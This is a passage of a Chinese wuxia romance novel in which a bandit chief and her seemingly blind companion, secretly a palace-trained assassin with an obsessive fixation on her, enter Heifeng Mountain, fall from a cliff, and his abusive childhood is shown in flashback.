“说谁小毛孩儿呢?”蒋小乙被激得作势要冲过去揍他们,却被越兰溪的长枪拦住。
越兰溪眉毛一扬,冷笑:“可是瞧不起女人?”
他们五人,皆为二十出头的青年,看衣着,应是江湖门派。玄色衣袍,金冠乌发,或持长刀,或配长剑,气度不凡,只是眼中的傲气着实令越兰溪不爽。
大堂中,他们几人的对峙格外引人注目,周围的窃窃私语,都因为他们的出现大了几分,掌柜的更是紧张到咽口水,生怕他们真的打起来,砸坏了他店中的物件。
“阿木。”
身后始终端坐在上位的少年终于出声止住那叫阿木的小青年。
这一行人中,属他最瞩目,看起来极年轻,模样却生得极俊,朱唇皓齿,轩然霞举。
即使在此之前一言不发,也始终没有让越兰溪忽视掉此人,这不是一个刚出江湖的少年该有的气质,隐隐中,他应是他们一行人的领头人。
“姑娘见谅,是师弟不懂事冒犯了几位。”
原本端坐在位置上的少年腰身微躬。
越兰溪没接话,而是瞥了一眼蒋小乙的表情,见他还在生气,面色一沉,取过顺意,银枪拄地,枪穗轻晃,脊背挺拔如松,眼底藏着将站之意。
“不是向我道歉,也不是你道歉,而是你。”
枪尖直指刚才笑话得最大声的那个小青年,周身气势凛冽让人不敢轻视。
为首的少年被她气势所惊,一女子竟有如此内力,一直坐在身后的那位眼盲男子怕也不是等闲之辈。
被枪尖指中的青年也知晓自己闯了祸,脸颊连带着脖子通红,抱拳拱手:“方才言语无状,多有冒犯,还望见谅。”
越兰溪的眼神游移到蒋小乙身上:“接受吗?”
语气桀骜,大有不接受就在让对面道歉的意思。
“行吧,小爷我心胸宽广,不与你斤斤计较。”蒋小乙仗着越兰溪撑腰,态度十分傲慢。
闻此,越兰溪才收起枪,抱拳:“要是山中有缘相见,让你们看看女人的厉害。”
“我们走!”
蒋小乙颠颠儿跟上去,柳棹歌缓缓起身,拂袖转身时,眼角扫过对面一行人的衣着相貌,方才跟上去。
“师父说了,出门收收自己的脾气。”
“我错了,大师兄。”刚才被枪指中的青年向比他年岁小的少年叫大师兄。
那位被尊称为大师兄的少年目光幽然,刚刚眼盲男子看向他们的眼神似笑非笑,带着些说不清的冷意。
虽然捉摸不透此人,但是他能肯定,他的眼盲是装的。
还有那打扮得花花绿绿,金银宝石镶满身的女子,出枪姿势利索,力度控制的有进有退,没有童子功傍身,普通人很难将几十斤握在手中,似轻巧之物。
12. 我是为你来的,越兰溪
“你是,你打扮成这样是要干嘛是要去扑花丛吗?”蒋小乙有些嫌弃地远离越兰溪。
“不好看吗?”
“不好看!光照在你身上,像是要飞升似的!”
不知道柳棹歌最近是怎么了,托人买了一大束鲜花还有金银首饰,非要给越兰溪装装扮上,连头发都是柳棹歌给梳的,他动作轻缓拆开她原本的发髻,从发根到发丝,像是得了什么好玩的小玩意,放开她头发的那一刻,还略带遗憾地轻轻叹了口气。
越兰溪觉得好笑,搞得她像是他的绢孩儿似的。
起初她还担心柳棹歌眼睛看不见,会给她弄得乱七八糟,但是最后她照铜镜一看,出奇的符合她的心意。
越兰溪满意地摸摸发辫上簪着的海棠
跨出大门,越兰溪靠在门背上,蒋小乙毫不在乎形象地坐在石阶上。
柳棹歌轻轻一笑,熟练地将骨节分明的手往越兰溪的方向一伸:“走吧。”
随后,他手中多了一丝温意,他不用看也知道,是越兰溪牵住了他的手。
蒋小乙看着前面很是亲昵的两人,嘴角向下一撇,切,装什么装,早晚会漏出马脚的,到时候,我要你好看。
不知是相处太久,还是因为什么,仿佛有心灵感应一般,柳棹歌微微侧头,蒋小乙立马换上谄媚的笑。
我去,后脑勺长眼睛啊!蒋小乙拍拍胸脯。
跟着他们两个,一个是随时能要他命的疯子,一个是他的上官。
唉,到头来,只有他憋屈认命去套马驾车。
苦命的蒋小乙坐在车舆上,手中扯着缰绳,无聊地一下一下甩着手臂。
车后一阵急促的马蹄声传来。
“等等——蒋小乙——”
原本还在悠闲地吹着口哨的蒋小乙表情瞬间大变,她怎么跟来了?!
柳棹歌感受到手中握着的手抽出去,眼神骤然冷下来,带着些被打搅的不爽。
越兰溪却很惊喜,头伸出去:“方洄!”
“停车,小乙。”
恨不得让马飞起来的蒋小乙叹口气,都指着我欺负呗。
“吁——”
越兰溪已经迫不及待跳下马车,方洄也飞身下马。
“你怎么跟来了。”
“来追未婚夫君。”方洄时不时偷瞄蒋小乙一眼,又迅速收回目光,脸上飞起一片红晕。
“谁是你未婚夫君!?我们连朋友都不是。”蒋小乙气得跳脚,大声喝止她。
“蒋小乙,怎么和女孩子说话呢?”越兰溪面色微沉,语气稍重。
受了一肚子气的蒋小乙将缰绳一扔,撩开幕帘,钻进马车内,一屁股坐在褥垫上。
外头传来越兰溪和方洄的交流。
“你不做你的捕头了?”
“不做了,反正我那个捕头的名号也是我自封的,且我爹本就不允许我入官场,做着也无甚意思,还不如来追求我的爱情。”
“你爹娘可知晓我的身份?”越兰溪很喜欢方洄的大胆直率,又问道。
方洄迟疑片刻后,说道:“不能和我爹娘说。你是朝廷通缉要犯,要是我爹娘知晓,却知情不报,那是重罪。”
“你不怕吗?”
“不怕,空有武艺却整日无所事事我才是真的害怕。”说的时候,方洄眼中闪着亮光。
越兰溪朗声大笑:“哈哈哈,好,跟着我,一定让你一点亏都吃不上。”
“上车吧。”
方洄喜笑颜开,掀开幕帘,却看见柳棹歌正然危坐于上,目光不善地看着准备弯腰进来的她,左侧是一堆话本和零嘴,右边躺着蒋小乙。
局势很显而易见,她知趣地又退出去。
“怎么不上马车?”越兰溪疑惑。
“我骑马,活动活动筋骨,好久没有骑马了,还有些生疏了。”方洄拉住马缰,一跃而上,甩开胸前的长发,回答道。
“唉呦。”
不及越兰溪弄清楚方洄这边的情况,蒋小乙哀叫一声,已经从里面滚了出来。
“呵呵,呵呵,我,我想坐外面,喜欢驾车,喜欢。”
越兰溪却见他的笑容好似有些苦涩,见他扶着腰部,正想关心一下。
“兰溪。”柳棹歌轻声地呼唤从里面传来。
“那个故事还没给你讲完呢。”
马车里无聊,柳棹歌便讲了一个《宋四公大闹禁混张》,大概讲的是宋四公、赵正等江湖好汉与吝啬的“禁魂张”员外之间的故事,他们不仅偷走了张员外的财物,还在开封府大闹一番,展现了江湖人物的机智与胆略。
“来啦来啦。”越兰溪不管他们了,迫不及待地钻进马车,重新坐到软垫上,兴致勃勃地听他讲故事。
苦不堪言的蒋小乙左手揉着腰,暗暗诅咒柳棹歌,踹他踹地这么狠,右手拉着缰绳,耳朵里还要不停地听方洄的大胆示爱。
他已经对此无动于衷了,面无表情。
马车内,风轻轻扬起柳棹歌的鬓角,连光影都偏好貌美之人:“她要和我们一起?”
“方洄吗?对呀,她为蒋小乙来的。”越兰溪眼神微微错愕,然后又反映过来。
“我为你来的,越兰溪。”柳棹歌察觉到她的目光,看向她,唇畔的笑依旧让人如沐春风。
猝不及防的亲昵之话,不期而遇间,越兰溪就这样撞进柳棹歌眼中。他唇边漾着温文尔雅的笑意,深邃的眸子正对着她,静静凝视,声音极温柔,像冬日雪松,春日清泉,尾音上扬,莫名缱绻。
车舆颠簸间,整个世界都安静了,越兰溪搭上自己的脉,心搏如擂鼓。
他的眼神明明空洞,越兰溪却觉得他好像能看见似的,一寸一寸摩挲过她鬓边碎发,慢慢移到她的眼睛。
车厢内只余车轮碾压过的轱辘声,与两人骤然停滞的呼吸声纠缠。
最后,还是越兰溪才回过神来,故作镇定地挪开眼睛,干咳一声,不解风情般将果子高高向上一抛,精准的用嘴巴接住。
“来就来呗,你要是听话,本寨主亏待不了你,有我一口肉吃,就有你一口汤喝!”
她凑过去,用手在他眼前晃了晃:“你,是不是能看见了?”
柳棹歌眼帘微垂,长睫轻轻颤动,掩去眸底翻涌的不安与偏执。
他唇角的温雅笑意淡了大半,下颌线绷得微微发紧,原本温润的嗓音带着一丝不易察觉的沙哑与试探:“如果我好了,兰溪是不是不会再牵着我的手了?”
听这语气,怎么还有些委屈呢?
“能看见一点点了,今日兰溪穿得是一件暗红色衣服,对不对?”紧接着,柳棹歌似邀功一般,凑近越兰溪,睫毛颤动,像蝴蝶振翅。
越兰溪嫣然一笑:“能看见一点就好,说明离痊愈也就不远了。”
“是啊。”
柳棹歌眼中闪烁,轻声细语道。
*
黑风山下,风旗驿站。
来来往往的人,看衣着扮相,皆是来抢夺山中宝物的,越兰溪大概扫了一眼,至少上千人聚集在此处。
也不怪来的人多,都说重金之下必有勇夫,这不,为了三百两金,居然连江湖第一大门派——飞花派都来了,还有不少人呢。
越兰溪坐在窗边,往下一看,眉头一扬。看见熟悉的人了,正是在客栈中相遇的那五位弟子,风尘仆仆,看样子也是刚到驿站不久。
“各位英雄好汉!我家主上广发英雄帖,召集各位英雄到黑风山,一寻宝物踪迹,二为找到此宝物的英雄,可得三百两金,另附风凌山庄英雄令!”
诧然间,人潮中掀起轩然大波。
就连从未混迹过江湖的人都知道,风凌山庄,以传承三百年之余,朝代更迭,它却屹立不倒。其中,养着江湖中数一数二的高手、杀手,不受朝廷挟
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制,而是有自己的一套制度。
三百年来,自沈令大侠创建风凌山庄以来,及其低调,只有在天灾人祸后才会出现在世人眼前,赈济救灾,到灾害退去,风凌山庄又消失在世人眼前。
这次,居然是为了英雄令而再次露面,还大张旗鼓地召集江湖高手。可见,此项任务有多么棘手。
“英雄令!可是那个可以随意调遣风凌山庄高手的英雄令?”
高台之上,青衫客负手而立,衣袂被朔风卷的猎猎作响。
他剑眉斜挑,带着隐世大家的傲气与沉稳,目光扫过台下纷纷摩拳擦掌的人群,声如洪钟撞破喧嚣:“还望诸位平安归来,山中也会有山庄之人,如遇困难,也可向他们寻求帮助,必会竭尽全力帮助大家。”
“山中天变无常、气象难测,这是为诸位准备的地图和干粮,供诸位随意拿取。”
“啧啧啧,这单钱不好赚啊。”越兰溪坐在窗边,手摸着不存在的胡子,观察着楼下人的一举一动。
摊开蒋小乙从楼下拿上来的地图,哦呦,比漆雾山地形还要复杂。
越兰溪数了数,共十二条山脉,三十多座山头,且中间两条长河横穿过其中的山脉,将整座山劈成三份。
这间房已经是驿站最后一件了,还是他们刚才花重金拍下的。
一张床,但是足够大,四人躺下绰绰有余。
“兰溪在担心什么?”为了方便,柳棹歌这次没有再穿素色广袍,而是一身朱墨色对襟窄袖长衫,一身骑装,偏偏被他穿出儒雅的气质。
果然,好看的人穿什么都好看。
“兰溪,这是看呆了吗?”柳棹歌见她看着他没反应,点点她额头,语气无奈中带着宠溺。
“啊?哦哦,担心这笔钱不好赚啊,你看......,不是,你听我给你说。”
“我们左边房间住着两个大汉,虽只有两个人,但看他们的兵器和外貌,定是江湖上赫赫有名的暗影和玄墨两大高手。”
“还有刚刚和我们争房间的,是朝廷中人,我认识,之前交过手,也是身法高超的两位将军。”
短短时间,越兰溪居然凭借外表和行为就将所有人看透了,也难怪,要是没有点心眼,如何能让大晋节节败退,还屡攻不下。
“兰溪真厉害。”柳棹歌递来一杯温水和做工甚是粗糙的手炉。
“怎么是热水啊?”刚触碰到茶杯,杯中的热意让越兰溪心中更燥,有些不满道。
“我模糊见你脸色不对,又见你拿出......”,毕竟是男子,柳棹歌再不要脸,也不好直说。
“你是说月事带?这关我来不来月事何事?”越兰溪见他难得吞吞吐吐,觉得好笑。
“我曾看书中写道,女子来月事,多会腹痛难忍,须得喝热水、静躺不动......”
越兰溪见他要滔滔不绝地给她讲医书中的术语,她顿时有些哭笑不得。
“打住!”
“你都说是大多数,还有少数嘛,比如说我,我没有任何感觉,也可以喝凉水,甚至还可以洗冷水澡呢,只是确实前两天不能多走。可能我身体比较好一点吧。”
闹了个笑话的柳棹歌有些无地自容,端着茶杯走也不是,不走也不是。
怎么这么傻,傻得可爱,越兰溪接过茶杯,喝了一口。
“多谢啊。”
“今晚一定不太平,到时候你千万不要将这根绳子摘掉。”
越兰溪衣襟中拿出一条青白色丝绳,绳子大约有一丈长,一端套在柳棹歌手腕上,一端系在她自己手上。
柔软的丝绳套在他手腕上的那一刻,乍然间,柳棹歌凝望着为他整理衣袖的越兰溪。
“寨主这是在关心我。”柳棹歌声音很轻,微微往越兰溪的方向一俯,发丝因为他的动作,慢慢滑过锦袍,滑落肩头垂至他衣襟处,柔顺的发尾轻轻扫过越兰溪的手背。
13. 进黑风山
“对呀,但是你放心,我不会让你有事的。”越兰溪打好结,一个简单的平结,说罢,她郑重抬眼。
“你只需要跟着我便可。”
“我去拿包袱。”包袱就在房门前的茶桌山。
柳棹歌手指慢慢揉搓着丝绳,眼底笑意渐渐聚集。
夜晚天凉,蒋小乙和方洄又从店主那儿抱来两床薄被,他俩分别睡床的两边,中间躺着越兰溪和柳棹歌。
夜深人静,往往却最不安宁。
这次不知是要抢什么宝贝,居然如此兴师动众,来的人都不是善茬。越兰溪睡不着,平躺在床上冥想。
还未至丑时,外面一阵打斗声,
还未睡熟的越兰溪猛地睁开双眼,坐起身来推动身侧的方洄,耳尖微动,静静等待。
他们没显山没露水,在一群江洋大盗的眼里,自然是下手的第一选择。
只要他们没对她动手,她还可以视而不见,安然度过今夜。
往往事与愿违,果然有人持刀破窗而入。
越兰溪目色一凝,反手掣出床尾的顺意,枪尖寒芒破风直刺,朝窗边的人一枪劈下去。
来人没料到他们之中居然有练家子,被一枪挑落下楼。
“现在就进山,马上!”越兰溪扯起睡得像猪的蒋小乙,将包袱和干粮丢给他。
“走。”
越兰溪抱着柳棹歌飞身下楼。
听兵器相撞声,驿站外已经混乱一片了,此时不宜从正门出去。
蒋小乙凭借他的那点三脚猫功夫艰难地从楼上摔了下去。
“我都说了我抱你嘛。”方洄脸上闪过心疼,搀扶起臀部着地的蒋小乙。
“不用。”蒋小乙一把甩开她的手。
“还愣在那里干嘛,跟上!”越兰溪拉着柳棹歌的手,回头大声喊道。
他们从黑风山的偏僻小径进入,入口已经被仗着人多势众的江湖门派给守住,完全不给其他人一点进去的机会。
晨光曦微,清晨的露珠顺着叶片滴落到他们匆匆赶路的鞋背上。
小径偏僻无人,只是一条一尺宽的、荒草丛生的勉强能看出是一条路的草丛。
“几位少侠,且慢!”
是客栈那几位傲慢无礼的青年。
越兰溪不打算理睬,蒋小乙更是两耳不闻地往前冲。
“姑娘,我们可以携手先走过前路,毕竟你们人少,本就不占优势,更何况,我们身上带着各种药丸,你们有需要,我们随时可以提供。”
说话的人正是他们之中的领头人。
“在下虞裳,飞花派第十九代弟子。”
姓虞?要是她没猜错的话,应是虞老头的孙子?越兰溪打量眼前的年轻人。
“虞绍至是你什么人?”
“正是家父。”虞裳见越兰溪认识自己父亲,心生欢喜。
越兰溪额角抽搐,都已经快七十了,居然有一个年岁如此小的儿子。
“药先分我一半。”越兰溪摊出手,像是地痞无赖打劫的模样,气势汹汹。
“你,你无赖!”先前出言无状的名唤阿木的青年眼中冒着怒火,抬手直指越兰溪。
“你干嘛!想打架?”蒋小乙冲出来,将他一推,猝不及防,阿木往后一倒,幸好身后的同门及时扶住他,才没有顺着崖滚下去。
越兰溪装模做样地制止蒋小乙,过后才对虞裳说:“同行费,你们一半的药丸。”
她是知道飞花派制药的厉害,不说是普通药材都比市面上绝大多数药材要好,更甚至这是他小儿子,身上带的药绝对能派上用场,她不要白不要。
虞裳惊愕,他也是第一次听说同行费,奈何确实是他提出同行的,无奈,分出一半的药丸给他们。
越兰溪喜上眉梢,掂掂瓷瓶,嚯,可不少。
“走吧。”
正当虞裳等人开心之际,越兰溪毫不客地在前头说:“先说好,要是我们只是同行,要是出了什么事,你们自己解决,我们有什么事,你们也不必插手,过了第三座山脉就各走各的路。”
“师兄!”见他们气焰如此嚣张,阿木沉不住气了,跑到虞裳身边问道。
“明明我们自己也可以走,为什么要和他们一路?还白白浪费了长老给的丹药。”
“阿木!”
虞裳脸色沉下来,带着微微呵斥之意。
“师弟,师兄这样做肯定有自己的道理,师兄的判断从未错过。”见虞裳真的有些生气了,同门中另外一位女弟子拉住阿木,轻声劝道。
“哼。”阿木扯出衣袖,一展手臂,落在人群之后,朝着虞裳的背影暗啐一下,眼神讥讽:“有什么了不起,不就是仗着自己有个做长老的爹!”
此时,天已大亮,天空湛蓝,万里无云。
黑风山,山脉高耸入云,纵横数百里,一路上,都能看见这云蔽日的古树,树冠之大,使得十丈之内都无阳光照射,遮盖之处,无高立的树木,皆为枯木树枝或者是矮小的野草野花。
这也算是正式进入黑风山了。
“我的司南怎么失控了!”先前安慰阿木的师姐慌张拍了拍手中乱转的司南盘。
“山中藏有磁矿,司南针如山中便如盲。”柳棹歌立身,风卷起他的乌发。
正如他所说,他们手中的司南全部都失效了。
虞裳紧握手心,眉头轻锁,此次出门,完全没有料到会出现此等状况,如今司南失效,只能全凭看太阳方位辨别方向了。
只是如今四周全是大树蔽日,隐隐约约透出的树缝也难以看到太阳的位置,难道要等到太阳升至头顶了再出发吗?那也太耽误时间了。
"可是有什么发现?"越兰溪走近问道。
从方才他们进入这片古树林开始,柳棹歌就一直在感受风向,观察着四周。
“带我去岩石边上。”柳棹歌自然的扶住越兰溪。
众人注意到这边的情况,纷纷侧目。
只见柳棹歌扣住那方巨大岩石上的青苔,捏在手中细细碾磨,是湿润青绿的。
“这边为北。”他指着他们来时的方向。
越兰溪疑惑:“你怎么知道?难道你还会通灵?”
柳棹歌:“裸露岩石,北侧潮湿易长青苔,南侧干燥颜色偏浅。”
“还真是!”不信邪的飞花派弟子绕着岩石走到另外一面,震惊说道。
虞裳扣着从岩石另一面取下的褐色青苔,甚是佩服:“柳兄博闻多识,
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在下自愧不如。”
他有心与他们一行人交朋友,只可惜早先就得罪了越兰溪和蒋小乙,柳棹歌更是对除了越兰溪之外的人没有任何亲近之意。
最后也只能赧然地放下手,跟在越兰溪等人身后。
越往山里走,大雾四起自东而来。
视野受阻,完全看不清前路的状况。
“小心。”
走至一陡坡处,柳棹歌脚底一滑,顺着摔倒方向往前扑。还没摔倒,越兰溪握住他的手,揽住柳棹歌的腰。
他俩手中的绳子在此处完全按不起作用,甚至有事还会被枯枝树叶挂住,反而增加行路的困难,索性就将它取掉。
越兰溪手握上他的手腕:“跟着我走,放心。”
柳棹歌踉跄两步,他被越兰溪拉住,靠近,因长时间赶路,此时越兰溪的嘴唇有些干裂,一道道纹路很是明显,却显得更加红艳。
他盯着越兰溪的嘴唇,有了片刻失神。
“干了这么久的路了,兰溪喝点水吧。”柳棹歌递过水袋。
蒋小乙白眼都快翻到脑后去了,喝点水吧,喝点水吧,他暗戳戳的装扮柳棹歌刚才献殷勤的样子。也不看看这一路的行李是谁背上来的。
“小乙饿了吗?”方洄从身后的行李囊里拿出糕点,递给蒋小乙,笑得傻乎乎的。
“不吃不吃!”
蒋小乙真的搞不懂方洄,非要和他抢着背行李。他男子汉大丈夫,就算再不喜欢方洄,也不能让一个女子背行李吧,和她抢了半天,最后,只从她手里抢回来几只水袋。
“兰溪可是累了?”柳棹歌问道。
“没有,只是我觉得这处地势很怪。”越兰溪停下来。
她也在山中混迹这么多年,方才进入这片浓雾林时就感觉有一丝不对劲,如今,越往里走,心中的不安感越发大。
他们所处地带既不是山谷洼地,也不是高山半腰。此处植被虽多,按照方才分析的方位来看,此处应该为阳坡,且前两日并未下雨,此处不应该有如此大的雾的。
“蒋小乙!方洄!虞裳!”雾太大了,除了一直在身边的柳棹歌,再难看见其余人,也无人回应。
“刚刚你牵住我时他们就不见了。”柳棹歌淡定出声。
“小心!”浓雾中,迷迷离离间,一道巨大的黑影压下,只见他手举起,闪过一阵寒光,不带犹豫地朝他们砍来。
是一把做工及其粗糙的砍刀,却不见来人。
越兰溪借力将柳棹歌拉至身后,长枪在手中一转,挡住砍刀的落下。
此人出手毫无章法,完全是凭借着蛮力往死里砍。
越兰溪快速将绳子系上他的手腕:“跟紧我!”
她双手持枪,足尖点地旋身,长枪势如破竹,枪尖划破迷离的湿雾,“铮”地撞上偷袭者的砍刀。
雾珠被震地簌簌飞溅,她借势沉腰拧枪,枪杆横扫,逼退对方半步。枪尖划地,搅起一串泥点。
趁对方视线受阻间,越兰溪耳朵微动,枪势忽收忽动,刺中对方......大腿?
莫非此人有九尺之高!
越兰溪照着胸膛位置刺去,却能清晰感受到被她刺中的位置是腿,莫非他们遇见怪人不成。
14. 坠崖
“妄图盗走裴氏石符的都给我死!”
雾气翻滚,那怪人张开硕长的手臂,吼声浑厚得震得枝叶簌簌作响,沙砾般的哑声里带着生涩的咬字,仿佛刚学会说话。
霎那间,四周树枝疯狂摇晃,越兰溪脚下的土地骤然开裂,碎石簌簌滚落,露出底下黑黝黝的洞穴,深不见底的黑暗仿佛能吞噬一切。
柳棹歌眼底飞快闪过一抹狂喜,雾霭遮不住他眸中跃动的光,原来浓雾掩盖的,竟是这样一处隐秘洞穴
越兰溪眉心紧蹙,指尖在腰间软绳上飞快挽了几圈,膝骨微屈,脊背弓起如蓄势的豹,右手紧握枪杆,枪尖点地横于后背。
锋利的目光扫过开裂的地面与雾中的怪人,权衡着突围的路径,脚尖已踮起,作势要跃向身旁一块尚且稳固的岩面。
“柳棹歌!”
猝然间,手中软绳猛地一扯,越兰溪下意识回头,凌乱的风卷着雾气扑来,发丝黏在脸颊,遮去了大半视线。
柳棹歌站在断崖边缘,素白柔软的发带被崖下盘旋而上的冷风卷走,乌黑发丝如瀑般散开。
他整个人朝着深渊直直倒去,却在坠落的刹那,抬手扯开了手腕上系着的软绳。
原本应该维系着他安危的绳子轻飘飘飘向越兰溪脚边。
他的眼神决绝,唇角弯起,眼底没有丝毫惧色,反倒笑得愈发沉溺,仿佛深渊之下,藏着能让他甘愿沉沦的蜜糖。
越兰溪来不及细想,身体已先于理智行动,飞身扑过去死死攥住他的手,另一只手迅速将他的头按在自己肩颈处,两人顺着崖壁飞速下坠。
柳棹歌的眸底盛有暗色,越兰溪的肩颈线条利落如刀裁,肤色虽不是寻常女子的白皙,却透着健康的粉红,泛着薄而细腻的光泽。
锁骨凹陷处此时泛起点点鸡皮疙瘩,带着易碎的脆弱感,却又在阴影中藏着一丝独属于她越兰溪的神秘张力。
她将长枪重重钉入悬崖峭壁,火星顺着岩壁簌簌飞溅。
“抱紧我!”
一声低喝裹挟着风声落下。
崖壁的石头坚硬而潮湿,枪尖根本无法找到着力点,枪杆被两人的重量压得弯成一道紧绷的弧形,终于在一声脆响后再也支撑不住,枪端猛地回弹,越兰溪掌心早已摩擦脱皮,此刻再也握不住滚烫的枪杆,整个人随他一同坠入深不见底的崖底。
完了,这次真的死定了。
越兰溪脑中一片混沌,失重感让心脏狂跳不止,她还没看完世间所有话本,还没为王嬷嬷养老送终,还没亲手杀掉裴昳那个狗官……
两人的发丝在狂风中交缠,柳棹歌窝在她脖颈,笑得偏执又温柔,任由身体飞速下坠。
他得逞了,越兰溪终究是拉住他了。
真好!
柳棹歌骤然收紧手臂,环住越兰溪的腰,在坠落的半空中灵巧地翻身,将她护在身下,手掌紧紧护住她的后脑,带着极致的满足的叹息,低声呢喃:“赌赢了啊。”
他拖着越兰溪,左手先探入冰冷的水中,而后稳稳抱住她的身体,让她头部先触水面卸去冲击力,再一同沉入水底。
越兰溪终于意识到哪里不对劲,刚要开口询问,一阵巨大的冲击感猛地袭来,脑子嗡的一声,随即陷入黑暗。
水花高高溅起,又迅速被湍急的水流吞没,两人瞬间消失在滔滔不息的暗流之中。
河流堤坝深处,柳棹歌踉跄着上岸,满头血污,鼻腔也因落水的冲击淌着鲜血,混着额角的血珠滴落在衣襟上,晕开一朵朵鲜艳明丽的血花。
河水寒凉刺骨,此处堤坝被巨大的洞穴掩盖,终年不见天日,河风吹过,带着蚀骨的寒意,刮得人皮肤发疼。
柳棹歌抱着越兰溪,一步步沿着河堤往洞穴更深处走,感受着她温热的呼吸喷洒在自己脖颈。
他低低轻笑,抬手搭上自己的脉搏,指尖因极致的愉悦而微微颤抖,深吸一口气才勉强平复。
太愉悦了。
“布娃娃,眉眼俏,
红线缠,系腰绦。
不哭闹,不逃跑,
伴我睡,共良宵。
……”
这是他多年前,第一次完成任务后,从路边捡回一个布偶,从街边小孩学的歌谣。
可惜,当时的他还没有学会要将心爱之物好好藏起来,便被首领发现了,此后,他完成任务后便再也没有自由的外出了。
他哼着不成调的无名小调,调子诡异却透着满足。
这是他和兰溪独处的第一日。在这里,没有旁人打扰,兰溪只会属于他,也只能属于他。
一个疯狂的念头骤然闪过脑海,他眼底亮起贪婪的光,对呀,他可以把她藏在身边,这样,兰溪就可以想小时候的布偶一样陪着他了。
“兰溪……”,他喃喃地唤着她的名字,指尖轻轻拂过她苍白而虚弱的唇瓣,面容从容。
赤脚踩过的碎石上,殷红的血迹在青灰的石子间蜿蜒蔓延,如毒蛇般盘踞。可他仿佛感受不到丝毫疼痛,依旧一步步从容前行,眼底的偏执愈发浓重。
眼前的景象开始旋转、颠倒、扭曲,唯有脚底传来的尖锐痛感,能让他保持着清醒的理智。
他说过的,会好好照顾她的。毕竟,属于他的东西,从来都来之不易。
这处洞穴很长,前半截是碎石,后半截全是硕大的短石。
终于走出这处洞穴,又是一大片树林,柳棹歌低头,为越兰溪挡去大半的光。
看着她的睡颜,柳棹歌满足的笑了笑。
*
幸得这几日天气晴朗,柳棹歌就着河水,将额头上凝固了的血洗去,将内里柔软的里衬撕下,打湿,为越兰溪擦去脸上的脏污。
火堆在山洞前熊熊燃烧,烤着他和越兰溪的外衫,里衫已经烘烤干,没被浸湿的药丸也已经为越兰溪服下,旁边的芭蕉叶上堆着一小堆野果子。
柳棹歌看着昏睡不醒的越兰溪喃喃自语道:“兰溪怎么如此贪睡?”
“我都已经抱着你走了这么远了,难道梦里有什么开心的事情勾住你了吗?那我可真的会嫉妒的哦。”
他抚开越兰溪眼前的墨发,用手背轻轻碰了一下她的脸颊,表情带着难得的迷茫。不应该呀,落到水中时,他已经为她泄去一大半的冲力,按照越兰溪的身体素质来说,不应该昏睡如此之久。
可是失血过多,已经无法让他再去思考。他躺伏在越兰溪臂弯处,像个婴孩一般,蜷缩在她的怀中。
“我就睡一下下哦,不会太久的,兰溪别怕。”
带着恬静的笑容,柳棹歌渐渐掀
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不开沉重的眼皮,意识已经飘向远处。
“陛下,裴昳已带到。”
小小的人穿着不适应的锦衣绸缎,站在辉煌阔大的皇宫中,好奇的睁大纯粹干净的双眼小心翼翼地看着身着龙袍,威严无比的人,那时的皇帝还没有蓄满胡须。
那时的他,只知道自己被一个独眼男人捡回,日日喝药,昏昏沉沉间,再也记不起过往七年的所有事情。
他只听见他们说。
“可处理好了。”皇帝问道。
暗卫回答道:“裴家已经全数斩杀,按您的要求,裴昳已经服下药丸且洗魂术已经实行七七四十九日,再无记起的可能。”
皇帝慈祥地向小裴昳招手:“好孩子,来,让朕看看你。”
暗卫见小裴昳无动于衷,推了一把他,猝不及防,他重重地跪在铺设金砖的地面上,匍匐在金銮大殿中央。
皇帝语气中带着不赞同呵责暗卫,表情却十分畅快。
小裴昳一步步踏上金阶,走向全天下最为尊贵的人。
“哈哈哈,哈哈哈,好!你记住,以后你裴昳就是我皇室的狗!叫你往东,绝不能往西,知道吗?”
“我要让裴朗看着他的儿子在我手里面当条狗!”
“带下去吧,一定要好好培养。”
表情极致温柔,动作却十分狠厉,像是看仇人一般,握住小裴昳的肩膀,不能动弹半分。
小裴昳此时记忆全无,连自己的姓名都是别人告知的,脑海里一片迷茫。他不懂为什么坐在椅子上的人掐他掐得那么痛,在他手里,努力克制自己的颤抖与呼吸。
此后的日子,每日睡两个时辰,但他从来不敢睡着,每日会有不同的“惊喜”等着他,有时是放蛇,放猛兽;有时,如果他真的睡着之后,首领会带人将他按进水中,等到快要窒息时,又将他捞出来......
他学舞、学丹青、学杀人。
像是玩物一样被迫在贵族酒宴中,穿着青楼女子都难以入眼的女性的暴露服饰在舞池中央翩翩起舞,每一个在外名声远扬的大臣肆无忌惮地盯着年岁尚小却身姿曼妙的裴昳,每每宴会结束之后,他都会在无人之处发呕,无比厌弃自己。
二皇子时时到他住处,知晓他在学丹青,于是找人在他身上刺下一朵魅惑无比的丹离花;第一次杀人,首领按住他的头,让他将死人的皮一寸一寸剥下来,后又附在小裴昳脸上,掐住他的脸,哈哈大笑。
他说:“在这张人皮没干裂之前,不许剥离下来,知道吗?我看见你的脸就恶心。”
“你该庆幸陛下看重你,欣赏你,你要好好地效忠陛下,效忠大晋,毕竟,一条没人要的狗是活不下的。”
小裴昳面无表情,像是被抽去生机,也像是提线木偶,跪在地上,淡然接受首领每一日的“教诲”和唾骂。
起初,他还挣扎、反抗,与皇权对抗的结果是,他被关进暗牢十日、二十日、三十日,那时他的玩伴是一只老鼠。他被按进水中,美名其曰帮助他学会凫水,王公大臣之子都可来玩耍他。
锦衣玉袍的几位小公子将他捆进麻袋,丢进长安河中,笑哈哈的打下赌注,看他几时能挣脱出水面。
越沉越深,被吸入黑暗深邃的黑洞中。
“柳棹歌,柳棹歌。”
15. 美人、美酒和佳肴
黑夜中山洞,寂静无声,就像他梦中那样。
“这是做噩梦了?”越兰溪擦擦他额上的汗。
有那么几息,他失去了所有的思考,像个楞头青盯着越兰溪,眼神懵懂。
“兰溪,你会永远陪我吗?”才从睡梦中醒来的他,言语中带着点黏糊,像只湿漉漉的犬。
越兰溪受不了这么黏糊,将帕子丢给他,双手展后,放在后脑勺上,靠在岩壁上,随意叼起一颗野果,翘着二郎腿闭眼道:“谁也没有永远,过好当下就行,潇潇洒洒,快快活活。”
柳棹歌却紧紧盯着她的脖颈,冷冷地看着她,在阴暗处完全揭下他的伪装。
“兰溪知道人皮木偶吗?”
将她做成人皮木偶,藏在被子下面,每天都能陪着他睡觉了。
“知道啊,不就是用面糊做出人的模样,附在木偶身上吗?对了,我的枪呢?怎么没有看到。”
越兰溪睁眼,拿下嘴里嚼动的果子,四处张望:“我找了好久都没见着。”
“在外面放得好好的。外衫烤干了,赶快穿上吧,别着凉了。”就在越兰溪睁眼的瞬间,柳棹歌融化眼中的冷意,继而带上柔笑。
